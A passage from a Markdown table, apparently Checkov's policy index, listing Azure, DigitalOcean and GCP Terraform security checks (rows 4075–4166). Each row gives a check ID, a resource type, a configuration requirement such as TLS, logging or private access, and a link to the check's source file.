[SynapseLogMonitoringEnabledForSQLPool.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SynapseLogMonitoringEnabledForSQLPool.yaml)                                           |\n| 4075 | CKV2_AZURE_54   | resource | azurerm_synapse_sql_pool_extended_auditing_policy                | Ensure log monitoring is enabled for Synapse SQL Pool                                                                                                                                                    | Terraform | [SynapseLogMonitoringEnabledForSQLPool.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SynapseLogMonitoringEnabledForSQLPool.yaml)                                           |\n| 4076 | CKV2_AZURE_55   | resource | azurerm_spring_cloud_app                                         | Ensure Azure Spring Cloud app end-to-end TLS is enabled                                                                                                                                                  | Terraform | [AzureSpringCloudTLSDisabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSpringCloudTLSDisabled.yaml)                                                               |\n| 4077 | CKV2_AZURE_55   | resource | azurerm_spring_cloud_service                                     | Ensure Azure Spring Cloud app end-to-end TLS is enabled                                                                                                                                                  | Terraform | [AzureSpringCloudTLSDisabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSpringCloudTLSDisabled.yaml)                                                               |\n| 4078 | CKV2_AZURE_56   | resource | azurerm_mysql_flexible_server                                    | Ensure Azure MySQL Flexible Server is configured with private endpoint                                                                                                                                   | Terraform | [AzureMySQLFlexibleServerConfigPrivEndpt.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMySQLFlexibleServerConfigPrivEndpt.yaml)                                       |\n| 4079 | CKV2_AZURE_57   | resource | azurerm_postgresql_flexible_server                               | Ensure PostgreSQL Flexible Server is configured with private endpoint                                                                                                                                    | Terraform | [AzurePostgreSQLFlexibleServerConfigPrivEndpt.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzurePostgreSQLFlexibleServerConfigPrivEndpt.yaml)                             |\n| 4080 | CKV_BCW_1       | provider | bridgecrew                                                       | Ensure no hard coded API token exist in the provider                                                                                                                                                     | Terraform | [credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/provider/bridgecrew/credentials.py)                                                                                                  |\n| 4081 | CKV_DIO_1       | resource | digitalocean_spaces_bucket                                       | Ensure the Spaces bucket has versioning enabled                                                                                                                                                          | Terraform | [SpacesBucketVersioning.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/digitalocean/SpacesBucketVersioning.py)                                                                          |\n| 4082 | CKV_DIO_2       | resource | digitalocean_droplet                                             | Ensure the droplet specifies an SSH key                                                                                                                                                                  | Terraform | [DropletSSHKeys.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/digitalocean/DropletSSHKeys.py)                                                                                          |\n| 4083 | CKV_DIO_3       | resource | digitalocean_spaces_bucket                                       | Ensure the Spaces bucket is private                                                                                                                                                                      | Terraform | [SpacesBucketPublicRead.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/digitalocean/SpacesBucketPublicRead.py)                                                                          |\n| 4084 | CKV_DIO_4       | resource | digitalocean_firewall                                            | Ensure the firewall ingress is not wide open                                                                                                                                                             | Terraform | [FirewallIngressOpen.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/digitalocean/FirewallIngressOpen.py)                                                                                |\n| 4085 | CKV_GCP_1       | resource | google_container_cluster                                         | Ensure Stackdriver Logging is set to Enabled on Kubernetes Engine Clusters                                                                                                                               | Terraform | [GKEClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEClusterLogging.py)                                                                                             |\n| 4086 | CKV_GCP_2       | resource | google_compute_firewall                                          | Ensure Google compute firewall ingress does not allow unrestricted ssh access                                                                                                                            | Terraform | [GoogleComputeFirewallUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress22.py)                                           |\n| 4087 | CKV_GCP_3       | resource | google_compute_firewall                                          | Ensure Google compute firewall ingress does not allow unrestricted rdp access                                                                                                                            | Terraform | [GoogleComputeFirewallUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress3389.py)                                       |\n| 4088 | CKV_GCP_4       | resource | google_compute_ssl_policy                                        | Ensure no HTTPS or SSL proxy load balancers permit SSL policies with weak cipher suites                                                                                                                  | Terraform | [GoogleComputeSSLPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeSSLPolicy.py)                                                                                   |\n| 4089 | CKV_GCP_6       | resource | google_sql_database_instance                                     | Ensure all Cloud SQL database instance requires all incoming connections to use SSL                                                                                                                      | Terraform | [GoogleCloudSqlDatabaseRequireSsl.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudSqlDatabaseRequireSsl.py)                                                               |\n| 4090 | CKV_GCP_7       | resource | google_container_cluster                                         | Ensure Legacy Authorization is set to Disabled on Kubernetes Engine Clusters                                                                                                                             | Terraform | [GKEDisableLegacyAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEDisableLegacyAuth.py)                                                                                       |\n| 4091 | CKV_GCP_8       | resource | google_container_cluster                                         | Ensure Stackdriver Monitoring is set to Enabled on Kubernetes Engine Clusters                                                                                                                            | Terraform | [GKEMonitoringEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEMonitoringEnabled.py)                                                                                       |\n| 4092 | CKV_GCP_9       | resource | google_container_node_pool                                       | Ensure 'Automatic node repair' is enabled for Kubernetes Clusters                                                                                                                                        | Terraform | [GKENodePoolAutoRepairEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKENodePoolAutoRepairEnabled.py)                                                                       |\n| 4093 | CKV_GCP_10      | resource | google_container_node_pool                                       | Ensure 'Automatic node upgrade' is enabled for Kubernetes Clusters                                                                                                                                       | Terraform | [GKENodePoolAutoUpgradeEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKENodePoolAutoUpgradeEnabled.py)                                                                     |\n| 4094 | CKV_GCP_11      | resource | google_sql_database_instance                                     | Ensure that Cloud SQL database Instances are not open to the world                                                                                                                                       | Terraform | [GoogleCloudSqlDatabasePubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudSqlDatabasePubliclyAccessible.py)                                               |\n| 4095 | CKV_GCP_12      | resource | google_container_cluster                                         | Ensure Network Policy is enabled on Kubernetes Engine Clusters                                                                                                                                           | Terraform | [GKENetworkPolicyEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKENetworkPolicyEnabled.py)                                                                                 |\n| 4096 | CKV_GCP_13      | resource | google_container_cluster                                         | Ensure client certificate authentication to Kubernetes Engine Clusters is disabled                                                                                                                       | Terraform | [GKEClientCertificateDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEClientCertificateDisabled.py)                                                                       |\n| 4097 | CKV_GCP_14      | resource | google_sql_database_instance                                     | Ensure all Cloud SQL database instance have backup configuration enabled                                                                                                                                 | Terraform | [GoogleCloudSqlBackupConfiguration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudSqlBackupConfiguration.py)                                                             |\n| 4098 | CKV_GCP_15      | resource | google_bigquery_dataset                                          | Ensure that BigQuery datasets are not anonymously or publicly accessible                                                                                                                                 | Terraform | [GoogleBigQueryDatasetPublicACL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleBigQueryDatasetPublicACL.py)                                                                   |\n| 4099 | CKV_GCP_16      | resource | google_dns_managed_zone                                          | Ensure that DNSSEC is enabled for Cloud DNS                                                                                                                                                              | Terraform | [GoogleCloudDNSSECEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudDNSSECEnabled.py)                                                                               |\n| 4100 | CKV_GCP_17      | resource | google_dns_managed_zone                                          | Ensure that RSASHA1 is not used for the zone-signing and key-signing keys in Cloud DNS DNSSEC                                                                                                            | Terraform | [GoogleCloudDNSKeySpecsRSASHA1.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudDNSKeySpecsRSASHA1.py)                                                                     |\n| 4101 | CKV_GCP_18      | resource | google_container_cluster                                         | Ensure GKE Control Plane is not public                                                                                                                                                                   | Terraform | [GKEPublicControlPlane.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEPublicControlPlane.py)                                                                                     |\n| 4102 | CKV_GCP_20      | resource | google_container_cluster                                         | Ensure master authorized networks is set to enabled in GKE clusters                                                                                                                                      | Terraform | [GKEMasterAuthorizedNetworksEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEMasterAuthorizedNetworksEnabled.py)                                                           |\n| 4103 | CKV_GCP_21      | resource | google_container_cluster                                         | Ensure Kubernetes Clusters are configured with Labels                                                                                                                                                    | Terraform | [GKEHasLabels.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEHasLabels.py)                                                                                                       |\n| 4104 | CKV_GCP_22      | resource | google_container_node_pool                                       | Ensure Container-Optimized OS (cos) is used for Kubernetes Engine Clusters Node image                                                                                                                    | Terraform | [GKEUseCosImage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEUseCosImage.py)                                                                                                   |\n| 4105 | CKV_GCP_23      | resource | google_container_cluster                                         | Ensure Kubernetes Cluster is created with Alias IP ranges enabled                                                                                                                                        | Terraform | [GKEAliasIpEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEAliasIpEnabled.py)                                                                                             |\n| 4106 | CKV_GCP_24      | resource | google_container_cluster                                         | Ensure PodSecurityPolicy controller is enabled on the Kubernetes Engine Clusters                                                                                                                         | Terraform | [GKEPodSecurityPolicyEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEPodSecurityPolicyEnabled.py)                                                                         |\n| 4107 | CKV_GCP_25      | resource | google_container_cluster                                         | Ensure Kubernetes Cluster is created with Private cluster enabled                                                                                                                                        | Terraform | [GKEPrivateClusterConfig.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEPrivateClusterConfig.py)                                                                                 |\n| 4108 | CKV_GCP_26      | resource | google_compute_subnetwork                                        | Ensure that VPC Flow Logs is enabled for every subnet in a VPC Network                                                                                                                                   | Terraform | [GoogleSubnetworkLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleSubnetworkLoggingEnabled.py)                                                                   |\n| 4109 | CKV_GCP_27      | resource | google_project                                                   | Ensure that the default network does not exist in a project                                                                                                                                              | Terraform | [GoogleProjectDefaultNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleProjectDefaultNetwork.py)                                                                         |\n| 4110 | CKV_GCP_28      | resource | google_storage_bucket_iam_binding                                | Ensure that Cloud Storage bucket is not anonymously or publicly accessible                                                                                                                               | Terraform | [GoogleStorageBucketNotPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleStorageBucketNotPublic.py)                                                                       |\n| 4111 | CKV_GCP_28      | resource | google_storage_bucket_iam_member                                 | Ensure that Cloud Storage bucket is not anonymously or publicly accessible                                                                                                                               | Terraform | [GoogleStorageBucketNotPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleStorageBucketNotPublic.py)                                                                       |\n| 4112 | CKV_GCP_29      | resource | google_storage_bucket                                            | Ensure that Cloud Storage buckets have uniform bucket-level access enabled                                                                                                                               | Terraform | [GoogleStorageBucketUniformAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleStorageBucketUniformAccess.py)                                                               |\n| 4113 | CKV_GCP_30      | resource | google_compute_instance                                          | Ensure that instances are not configured to use the default service account                                                                                                                              | Terraform | [GoogleComputeDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeDefaultServiceAccount.py)                                                           |\n| 4114 | CKV_GCP_30      | resource | google_compute_instance_from_template                            | Ensure that instances are not configured to use the default service account                                                                                                                              | Terraform | [GoogleComputeDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeDefaultServiceAccount.py)                                                           |\n| 4115 | CKV_GCP_30      | resource | google_compute_instance_template                                 | Ensure that instances are not configured to use the default service account                                                                                                                              | Terraform | [GoogleComputeDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeDefaultServiceAccount.py)                                                           |\n| 4116 | CKV_GCP_31      | resource | google_compute_instance                                          | Ensure that instances are not configured to use the default service account with full access to all Cloud APIs                                                                                           | Terraform | [GoogleComputeDefaultServiceAccountFullAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeDefaultServiceAccountFullAccess.py)                                       |\n| 4117 | CKV_GCP_31      | resource | google_compute_instance_from_template                            | Ensure that instances are not configured to use the default service account with full access to all Cloud APIs                                                                                           | Terraform | [GoogleComputeDefaultServiceAccountFullAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeDefaultServiceAccountFullAccess.py)                                       |\n| 4118 | CKV_GCP_31      | resource | google_compute_instance_template                                 | Ensure that instances are not configured to use the default service account with full access to all Cloud APIs                                                                                           | Terraform | [GoogleComputeDefaultServiceAccountFullAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeDefaultServiceAccountFullAccess.py)                                       |\n| 4119 | CKV_GCP_32      | resource | google_compute_instance                                          | Ensure 'Block Project-wide SSH keys' is enabled for VM instances                                                                                                                                         | Terraform | [GoogleComputeBlockProjectSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeBlockProjectSSH.py)                                                                       |\n| 4120 | CKV_GCP_32      | resource | google_compute_instance_from_template                            | Ensure 'Block Project-wide SSH keys' is enabled for VM instances                                                                                                                                         | Terraform | [GoogleComputeBlockProjectSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeBlockProjectSSH.py)                                                                       |\n| 4121 | CKV_GCP_32      | resource | google_compute_instance_template                                 | Ensure 'Block Project-wide SSH keys' is enabled for VM instances                                                                                                                                         | Terraform | [GoogleComputeBlockProjectSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeBlockProjectSSH.py)                                                                       |\n| 4122 | CKV_GCP_33      | resource | google_compute_project_metadata                                  | Ensure oslogin is enabled for a Project                                                                                                                                                                  | Terraform | [GoogleComputeProjectOSLogin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeProjectOSLogin.py)                                                                         |\n| 4123 | CKV_GCP_34      | resource | google_compute_instance                                          | Ensure that no instance in the project overrides the project setting for enabling OSLogin(OSLogin needs to be enabled in project metadata for all instances)                                             | Terraform | [GoogleComputeInstanceOSLogin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeInstanceOSLogin.py)                                                                       |\n| 4124 | CKV_GCP_34      | resource | google_compute_instance_from_template                            | Ensure that no instance in the project overrides the project setting for enabling OSLogin(OSLogin needs to be enabled in project metadata for all instances)                                             | Terraform | [GoogleComputeInstanceOSLogin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeInstanceOSLogin.py)                                                                       |\n| 4125 | CKV_GCP_34      | resource | google_compute_instance_template                                 | Ensure that no instance in the project overrides the project setting for enabling OSLogin(OSLogin needs to be enabled in project metadata for all instances)                                             | Terraform | [GoogleComputeInstanceOSLogin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeInstanceOSLogin.py)                                                                       |\n| 4126 | CKV_GCP_35      | resource | google_compute_instance                                          | Ensure 'Enable connecting to serial ports' is not enabled for VM Instance                                                                                                                                | Terraform | [GoogleComputeSerialPorts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeSerialPorts.py)                                                                               |\n| 4127 | CKV_GCP_35      | resource | google_compute_instance_from_template                            | Ensure 'Enable connecting to serial ports' is not enabled for VM Instance                                                                                                                                | Terraform | [GoogleComputeSerialPorts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeSerialPorts.py)                                                                               |\n| 4128 | CKV_GCP_35      | resource | google_compute_instance_template                                 | Ensure 'Enable connecting to serial ports' is not enabled for VM Instance                                                                                                                                | Terraform | [GoogleComputeSerialPorts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeSerialPorts.py)                                                                               |\n| 4129 | CKV_GCP_36      | resource | google_compute_instance                                          | Ensure that IP forwarding is not enabled on Instances                                                                                                                                                    | Terraform | [GoogleComputeIPForward.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeIPForward.py)                                                                                   |\n| 4130 | CKV_GCP_36      | resource | google_compute_instance_from_template                            | Ensure that IP forwarding is not enabled on Instances                                                                                                                                                    | Terraform | [GoogleComputeIPForward.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeIPForward.py)                                                                                   |\n| 4131 | CKV_GCP_36      | resource | google_compute_instance_template                                 | Ensure that IP forwarding is not enabled on Instances                                                                                                                                                    | Terraform | [GoogleComputeIPForward.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeIPForward.py)                                                                                   |\n| 4132 | CKV_GCP_37      | resource | google_compute_disk                                              | Ensure VM disks for critical VMs are encrypted with Customer Supplied Encryption Keys (CSEK)                                                                                                             | Terraform | [GoogleComputeDiskEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeDiskEncryption.py)                                                                         |\n| 4133 | CKV_GCP_38      | resource | google_compute_instance                                          | Ensure VM disks for critical VMs are encrypted with Customer Supplied Encryption Keys (CSEK)                                                                                                             | Terraform | [GoogleComputeBootDiskEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeBootDiskEncryption.py)                                                                 |\n| 4134 | CKV_GCP_39      | resource | google_compute_instance                                          | Ensure Compute instances are launched with Shielded VM enabled                                                                                                                                           | Terraform | [GoogleComputeShieldedVM.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeShieldedVM.py)                                                                                 |\n| 4135 | CKV_GCP_39      | resource | google_compute_instance_from_template                            | Ensure Compute instances are launched with Shielded VM enabled                                                                                                                                           | Terraform | [GoogleComputeShieldedVM.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeShieldedVM.py)                                                                                 |\n| 4136 | CKV_GCP_39      | resource | google_compute_instance_template                                 | Ensure Compute instances are launched with Shielded VM enabled                                                                                                                                           | Terraform | [GoogleComputeShieldedVM.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeShieldedVM.py)                                                                                 |\n| 4137 | CKV_GCP_40      | resource | google_compute_instance                                          | Ensure that Compute instances do not have public IP addresses                                                                                                                                            | Terraform | [GoogleComputeExternalIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeExternalIP.py)                                                                                 |\n| 4138 | CKV_GCP_40      | resource | google_compute_instance_from_template                            | Ensure that Compute instances do not have public IP addresses                                                                                                                                            | Terraform | [GoogleComputeExternalIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeExternalIP.py)                                                                                 |\n| 4139 | CKV_GCP_40      | resource | google_compute_instance_template                                 | Ensure that Compute instances do not have public IP addresses                                                                                                                                            | Terraform | [GoogleComputeExternalIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeExternalIP.py)                                                                                 |\n| 4140 | CKV_GCP_41      | resource | google_project_iam_binding                                       | Ensure that IAM users are not assigned the Service Account User or Service Account Token Creator roles at project level                                                                                  | Terraform | [GoogleRoleServiceAccountUser.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleRoleServiceAccountUser.py)                                                                       |\n| 4141 | CKV_GCP_41      | resource | google_project_iam_member                                        | Ensure that IAM users are not assigned the Service Account User or Service Account Token Creator roles at project level                                                                                  | Terraform | [GoogleRoleServiceAccountUser.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleRoleServiceAccountUser.py)                                                                       |\n| 4142 | CKV_GCP_42      | resource | google_project_iam_member                                        | Ensure that Service Account has no Admin privileges                                                                                                                                                      | Terraform | [GoogleProjectAdminServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleProjectAdminServiceAccount.py)                                                               |\n| 4143 | CKV_GCP_43      | resource | google_kms_crypto_key                                            | Ensure KMS encryption keys are rotated within a period of 90 days                                                                                                                                        | Terraform | [GoogleKMSRotationPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleKMSRotationPeriod.py)                                                                                 |\n| 4144 | CKV_GCP_44      | resource | google_folder_iam_binding                                        | Ensure no roles that enable to impersonate and manage all service accounts are used at a folder level                                                                                                    | Terraform | [GoogleFolderImpersonationRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleFolderImpersonationRole.py)                                                                     |\n| 4145 | CKV_GCP_44      | resource | google_folder_iam_member                                         | Ensure no roles that enable to impersonate and manage all service accounts are used at a folder level                                                                                                    | Terraform | [GoogleFolderImpersonationRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleFolderImpersonationRole.py)                                                                     |\n| 4146 | CKV_GCP_45      | resource | google_organization_iam_binding                                  | Ensure no roles that enable to impersonate and manage all service accounts are used at an organization level                                                                                             | Terraform | [GoogleOrgImpersonationRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleOrgImpersonationRole.py)                                                                           |\n| 4147 | CKV_GCP_45      | resource | google_organization_iam_member                                   | Ensure no roles that enable to impersonate and manage all service accounts are used at an organization level                                                                                             | Terraform | [GoogleOrgImpersonationRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleOrgImpersonationRole.py)                                                                           |\n| 4148 | CKV_GCP_46      | resource | google_project_iam_binding                                       | Ensure Default Service account is not used at a project level                                                                                                                                            | Terraform | [GoogleProjectMemberDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleProjectMemberDefaultServiceAccount.py)                                               |\n| 4149 | CKV_GCP_46      | resource | google_project_iam_member                                        | Ensure Default Service account is not used at a project level                                                                                                                                            | Terraform | [GoogleProjectMemberDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleProjectMemberDefaultServiceAccount.py)                                               |\n| 4150 | CKV_GCP_47      | resource | google_organization_iam_binding                                  | Ensure default service account is not used at an organization level                                                                                                                                      | Terraform | [GoogleOrgMemberDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleOrgMemberDefaultServiceAccount.py)                                                       |\n| 4151 | CKV_GCP_47      | resource | google_organization_iam_member                                   | Ensure default service account is not used at an organization level                                                                                                                                      | Terraform | [GoogleOrgMemberDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleOrgMemberDefaultServiceAccount.py)                                                       |\n| 4152 | CKV_GCP_48      | resource | google_folder_iam_binding                                        | Ensure Default Service account is not used at a folder level                                                                                                                                             | Terraform | [GoogleFolderMemberDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleFolderMemberDefaultServiceAccount.py)                                                 |\n| 4153 | CKV_GCP_48      | resource | google_folder_iam_member                                         | Ensure Default Service account is not used at a folder level                                                                                                                                             | Terraform | [GoogleFolderMemberDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleFolderMemberDefaultServiceAccount.py)                                                 |\n| 4154 | CKV_GCP_49      | resource | google_project_iam_binding                                       | Ensure roles do not impersonate or manage Service Accounts used at project level                                                                                                                         | Terraform | [GoogleProjectImpersonationRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleProjectImpersonationRole.py)                                                                   |\n| 4155 | CKV_GCP_49      | resource | google_project_iam_member                                        | Ensure roles do not impersonate or manage Service Accounts used at project level                                                                                                                         | Terraform | [GoogleProjectImpersonationRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleProjectImpersonationRole.py)                                                                   |\n| 4156 | CKV_GCP_50      | resource | google_sql_database_instance                                     | Ensure MySQL database 'local_infile' flag is set to 'off'                                                                                                                                                | Terraform | [GoogleCloudMySqlLocalInfileOff.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudMySqlLocalInfileOff.py)                                                                   |\n| 4157 | CKV_GCP_51      | resource | google_sql_database_instance                                     | Ensure PostgreSQL database 'log_checkpoints' flag is set to 'on'                                                                                                                                         | Terraform | [GoogleCloudPostgreSqlLogCheckpoints.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogCheckpoints.py)                                                         |\n| 4158 | CKV_GCP_52      | resource | google_sql_database_instance                                     | Ensure PostgreSQL database 'log_connections' flag is set to 'on'                                                                                                                                         | Terraform | [GoogleCloudPostgreSqlLogConnection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogConnection.py)                                                           |\n| 4159 | CKV_GCP_53      | resource | google_sql_database_instance                                     | Ensure PostgreSQL database 'log_disconnections' flag is set to 'on'                                                                                                                                      | Terraform | [GoogleCloudPostgreSqlLogDisconnection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogDisconnection.py)                                                     |\n| 4160 | CKV_GCP_54      | resource | google_sql_database_instance                                     | Ensure PostgreSQL database 'log_lock_waits' flag is set to 'on'                                                                                                                                          | Terraform | [GoogleCloudPostgreSqlLogLockWaits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogLockWaits.py)                                                             |\n| 4161 | CKV_GCP_55      | resource | google_sql_database_instance                                     | Ensure PostgreSQL database 'log_min_messages' flag is set to a valid value                                                                                                                               | Terraform | [GoogleCloudPostgreSqlLogMinMessage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogMinMessage.py)                                                           |\n| 4162 | CKV_GCP_56      | resource | google_sql_database_instance                                     | Ensure PostgreSQL database 'log_temp_files flag is set to '0'                                                                                                                                            | Terraform | [GoogleCloudPostgreSqlLogTemp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogTemp.py)                                                                       |\n| 4163 | CKV_GCP_57      | resource | google_sql_database_instance                                     | Ensure PostgreSQL database 'log_min_duration_statement' flag is set to '-1'                                                                                                                              | Terraform | [GoogleCloudPostgreSqlLogMinDuration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogMinDuration.py)                                                         |\n| 4164 | CKV_GCP_58      | resource | google_sql_database_instance                                     | Ensure SQL database 'cross db ownership chaining' flag is set to 'off'                                                                                                                                   | Terraform | [GoogleCloudSqlServerCrossDBOwnershipChaining.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudSqlServerCrossDBOwnershipChaining.py)                                       |\n| 4165 | CKV_GCP_59      | resource | google_sql_database_instance                                     | Ensure SQL database 'contained database authentication' flag is set to 'off'                                                                                                                             | Terraform | [GoogleCloudSqlServerContainedDBAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudSqlServerContainedDBAuthentication.py)                                     |\n| 4166 | CKV_GCP_60      | resource | google_sql_database_instance                                     | Ensure Cloud SQL database does not have public IP                                                                                                                                                        | Terraform | 